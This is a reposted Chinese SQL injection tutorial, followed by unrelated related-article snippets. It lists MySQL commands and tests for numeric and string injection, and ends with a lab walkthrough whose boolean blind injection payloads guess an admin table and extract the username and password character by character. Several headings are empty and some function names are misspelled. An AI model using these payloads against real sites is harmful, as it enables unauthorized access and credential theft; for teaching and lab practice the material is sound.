sql注入基础学习

1.常用SQL语句

01、显示数据库 show databases;

02、打开数据库 use db name;

03、显示数据表 show tables;

04、显示表结构 describe table_name;

05、显示表中各字段信息,即表结构 show columns from table_name;

06、显示表创建过程 show create table表名;

07、列出当前mysql的相关状态信息 status;

08、删除数据库 drop database 数据库名;

09、清空数据表 delete from table_name;truncate table table_name;

10、删除数据表 drop table table name

11、数据库连接 mysql-uroot-proot

12、数据库退出exit

limit 控制输出:limit 0,1

0:表示输出第一行

1:表示取一条数据

2. MySQL注释符

1.注释符可以替换空格

2.内联注入:/*!/*!*/

/**/在mysql中是多行注释但是如果里面加了

那么后面的内容会被执行

3.单行注释符后面加换行也是可以执行的

/**/

#

--

3.SQL注入常用函数

length('name):函数返回字符串的长度

substr'name',1,1):函数截取字符串

asci(’a’):函数返回字符的asci码

left(name,2):函数返回name的左边二个字符

right(name,2):函数返回name的右边二个字符

information_schema数据库

SQL注入原理

sql注入常见流程

1|1数字型判断##

当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:

select * from <表名> where id = x

这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:

Url 地址中输入 www.xxx.com/abc.php?id= x and 1=1

页面依旧运行正常,继续进行下一步。

Url 地址中继续输入 www.xxx.com/abc.php?id= x and 1=2

页面运行错误,则说明此 Sql 注入为数字型注入。

1|2字符型判断##

当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下

select * from <表名> where id = 'x'

这种类型我们同样可以使用 and '1'='1 和 and '1'='2来判断:

Url 地址中输入 www.xxx.com/abc.php?id= x' and '1'='1

页面运行正常,继续进行下一步。

Url 地址中继续输入 www.xxx.com/abc.php?id= x' and '1'='2

页面运行错误,则说明此 Sql 注入为字符型注入。

原因如下:

当输入 and '1'='1时,后台执行 Sql 语句:

select * from <表名> where id = 'x' and '1'='1'

语法正确,逻辑判断正确,所以返回正确。

当输入 and '1'='2时,后台执行 Sql 语句:

select * from <表名> where id = 'x' and '1'='2'

语法正确,但逻辑判断错误,所以返回正确。

sql注入演示(步骤有所省略)

4、获取显示位

5.将显示位替换为要查询的函数

7、获取所有数据库

8、获取数据表

9、获取表中字段

10.获取数据

堆叠注入

宽字节注入

字符转换

宽字节注入过程

报错注入

盲注

布尔盲注

布尔盲注利用

延时盲注函数

1.Oracle手工盲注

实验步骤一

1.首先我们判断一下有没有注入点,在公司新闻下打开一个新闻链接

2.网址后加and 1=1返回正常

3.加and 1=2返回错误,说明存在注入漏洞。

4.判断一下数据库中的表,网址后加上:and (select count(*) from admin) <>0返回正常,说明存在admin表。如果返回错误,可将admin改为username、manager等常用表名继续猜解。

5.判断下该网站下有几个管理员,如果有多个的话,成功入侵的几率就会加大

and (select count(*) from admin)=1,返回正常说明只有一个管理员。

6.已知表的前提下,判断表中字段结构

and (select count(name) from admin)>=0返回正常,说明存在name字段

and (select count(pass) from admin)>=0返回错误,说明不存在pass字段

经过猜测,存在pwd字段

实验步骤二

7.接下来采用ASCII码折半法猜解管理员帐号和密码

判断管理员帐号的长度

and (select count(*) from admin where length(name)>=5)=1

说明:length()函数用于求字符串的长度,此处猜测用户名的长度和5比较,即猜测是否由5个字符组成

8.and (select count(*) from admin where ascii(substr(name,1,1))>=97)=1

说明:substr()函数用于截取字符串,ascii()函数用于获取字符的ascii码,此处的意思是截取name字段的第一个字符,获取它的ascii码值,查询ascii码表可知97为字符a

and (select count(*) from admin where ascii(substr(name,2,1))>=100)=1 结果为100,即字符d,重复上述过程,可以判断出帐号为admin

9.相同方法猜解密码

and (select count(*) from admin where length(pwd)>=8)=1,返回正常,即密码长度为8,此时可以判断密码应该为明文

and (select count(*) from admin where ascii(substr(pwd,1,1))>=97)=1,返回正常,为字符a

and (select count(*) from admin where ascii(substr(pwd,2,1))>=100)=1,返回正常,为字符d

......重复操作......

and (select count(*) from admin where ascii(substr(pwd,8,1))>=56)=1,返回正常,为数字8

完成上述操作可以确定帐号为:admin密码为:admin888

打开 http://10.1.1.59/login.jsp,输入猜解出的用户名和密码

提示登录成功

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/273650.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

大数据开发 hadoop集群 2.hadoop框架入门

自从我学会了寻找&#xff0c;我就已经找到 ——史铁生 —— 24.3.10 内容简介 Hadoop入门&#xff1a; ①概念 ②环境准备 ③hadoop生产集群搭建 ④常见错误的解决方案 ①概念&#xff1a;1.Hadoop是什么 2.Hadoop发展历史 3.Hadoop…

菜品检测,基于YOLOV8

菜品检测&#xff0c;基于YOLOV8NANO&#xff0c;训练得到模型PT&#xff0c;然后转换成ONNX&#xff0c;OPENCV的DNN调用&#xff0c;支持C/PYTHON/ANDROID开发菜品检测&#xff0c;基于YOLOV8&#xff0c;能检测五种菜品&#xff0c;水豆腐、豆腐干、空心菜、豆芽菜、茄子

详情接口API解密:淘宝天猫帮你买到最适合的商品!

在当前的电商时代&#xff0c;淘宝天猫已成为许多人购物的首选平台。然而&#xff0c;随着商品种类的繁多和信息的不对称&#xff0c;消费者在面对众多的商品时往往感到犹豫和困惑。这时&#xff0c;淘宝天猫的详情接口API就像是一把大数据的黄金钥匙&#xff0c;联讯数据为购物…

python并发编程:异步IO(Asynchronous I/O)

异步IO(Asynchronous I/O) Linux下的asynchronous IO其实用得不多&#xff0c;从内核2.6版本才开始引入。先看一下它的流程&#xff1a; 用户进程发起read操作之后&#xff0c;立刻就可以开始去做其它的事。而另一方面&#xff0c;从kernel的角度&#xff0c;当它受到一个asyn…

基于状态机的按键消抖实现

摸鱼记录 Day_14 !(^O^)y review 在day_13中以按键状态判断为例学习了状态分析基于状态机的按键消抖原理-CSDN博客 分析得到了下图&#xff1a; 今日任务&#xff1a;完成此过程 !(^O^)y 小梅哥对应视频&#xff1a; 15B 基于状态机的按键消抖Verilog实现_哔哩哔哩…

Linux进程概念僵尸进程孤儿进程

文章目录 一、什么是进程二、进程的状态三、Linux是如何做的&#xff1f;3.1 R状态3.2 S状态3.3 D状态3.4 T状态3.5 t状态3.6 X状态3.7 Z状态 四、僵尸进程4.1 僵尸进程危害 五、孤儿进程 一、什么是进程 对于进程理解来说&#xff0c;在Windows上是也可以观察到的&#xff0c…

ManualResetEvent 在线程中的使用C#

ManualResetEvent 用于表示线程同步事件&#xff0c;可以使得线程等待信号发射之后才继续执行下一步&#xff0c;否则一直处于等待状态中。 ManualResetEvent 的常用方法 构造函数ManualResetEvent(bool); ManualResetEvent manualResetEvent new ManualResetEvent(false…

16. 获取社区详情

文章目录 一、建表、插入测试数据、并生成对应的model二、添加路由&#xff0c;以及controller、logic、dao三层分别实现对应代码三、编译运行 登录之后&#xff0c;我们可以发表帖子&#xff0c;但是发表帖子之前&#xff0c;需要先选择一个频道&#xff0c;可以理解是社区分类…

什么是高级编程语言?——跟老吕学Python编程

什么是高级编程语言&#xff1f;——跟老吕学Python编程 高级编程语言简介高级编程语言发展历程高级编程语言特点高级编程语言分类命令式语言函数式语言逻辑式语言面向对象语言 常见的高级编程语言及其特点和应用领域高级编程语言性能分析高级编程语言的工作方式 高级编程语言简…

MUMU模拟器12连logcat的方法

大家好&#xff0c;我是阿赵。   在开发手机游戏的时候&#xff0c;在真机上会出现各种问题&#xff0c;在查询问题的时候&#xff0c;安卓手机需要用adb连接来连接手机看logcat输出分析问题。但由于连接手机比较麻烦&#xff0c;所以我都习惯在电脑用安卓模拟器来测试。   …

R语言基础的代码语法解译笔记

1、双冒号&#xff0c;即&#xff1a;“::” 要使用某个包里的函数&#xff0c;通常做法是先加载&#xff08;library&#xff09;包&#xff0c;再调用函数。最新加载的包的namespace会成为最新的enviroment&#xff0c;某些情况下可能影响函数的结果。而package name::funct…

角蜥优化算法 (Horned Lizard Optimization Algorithm ,HLOA)求解无人机路径优化

一、无人机路径规划模型介绍 无人机三维路径规划是指在三维空间中为无人机规划一条合理的飞行路径,使其能够安全、高效地完成任务。路径规划是无人机自主飞行的关键技术之一,它可以通过算法和模型来确定无人机的航迹,以避开障碍物、优化飞行时间和节省能量消耗。 二、算法介…

Appium系列(1)安装启动Appium

Appium环境准备 Mac电脑jdk环境AndroidSDK环境node>8.1.0&#xff08;最好用最新版本&#xff09; 安装命令 npm i -g appium安装不成功请检查node 版本是否正确 安装成功命令行输入appium回车查看 安装驱动程序 1、先检查当前驱动情况 通过 appium driver list 进行…

【go语言开发】redis简单使用

本文主要介绍redis安装和使用。首先安装redis依赖库&#xff0c;这里是v8版本&#xff1b;然后连接redis&#xff0c;完成基本配置&#xff1b;最后测试封装的工具类 文章目录 安装redis依赖库连接redis和配置工具类封装代码测试 欢迎大家访问个人博客网址&#xff1a;https://…

系统学习c++类和对象——深度理解默认成员函数

前言&#xff1a;类和对象是面向对象语言的重要概念。 c身为一门既面向过程&#xff0c;又面向对象的语言。 想要学习c&#xff0c; 首先同样要先了解类和对象。 本节就类和对象的几种构造函数相关内容进行深入的讲解。 目录 类和对象的基本概念 封装 类域和类体 访问限定符…

Everything:文件查找工具,一搜即得

名人说&#xff1a;东边日出西边雨&#xff0c;道是无晴却有晴。——刘禹锡 创作者&#xff1a;Code_流苏(CSDN)&#xff08;一个喜欢古诗词和编程的Coder&#x1f60a;&#xff09; 目录 一、软件介绍①Everything②核心功能③原理 二、下载安装①下载②安装 三、使用方法①文…

吴恩达机器学习笔记十六 如何debug一个学习算法 模型评估 模型选择和训练 交叉验证测试集

如果算法预测出的结果不太好&#xff0c;可以考虑以下几个方面&#xff1a; 获得更多的训练样本 采用更少的特征 尝试获取更多的特征 增加多项式特征 增大或减小 λ 模型评估(evaluate model) 例如房价预测&#xff0c;用五个数据训练出的模型能很好的拟合这几个数据&am…

Linux调试器--gdb的介绍以及使用

文章目录 1.前言 ✒️2.介绍gdb✒️3.Debug模式和Release模式的区别✒️4.如何使用gdb✒️1️⃣.在debug模式下编译2️⃣.进入调试3️⃣ .调试命令集合⭐️⭐️ 1.前言 ✒️ &#x1f557;在我们之前的学习中已经学会了使用vim编译器编写c/c代码&#xff0c;但是对于一个程序员…

OpenCV 图像的几何变换

一、图像缩放 1.API cv2.resize(src, dsize, fx0,fy0,interpolation cv2.INTER_LINEAR) 参数&#xff1a; ①src &#xff1a;输入图像 ②dsize&#xff1a;绝对尺寸 ③fx&#xff0c;fy&#xff1a;相对尺寸 ④interpolation&#xff1a;插值方法 2.代码演示 import cv2 …

Python——读写属性

采用读写属性的目的就是把录入的数据控制在合理区间。 如&#xff1a;学生的年龄&#xff08;age&#xff09;&#xff0c;学生的身高&#xff08;height&#xff09;... 方法一&#xff1a;利用实例方法来控制 class Student:def __init__(self,name"",age0):self.…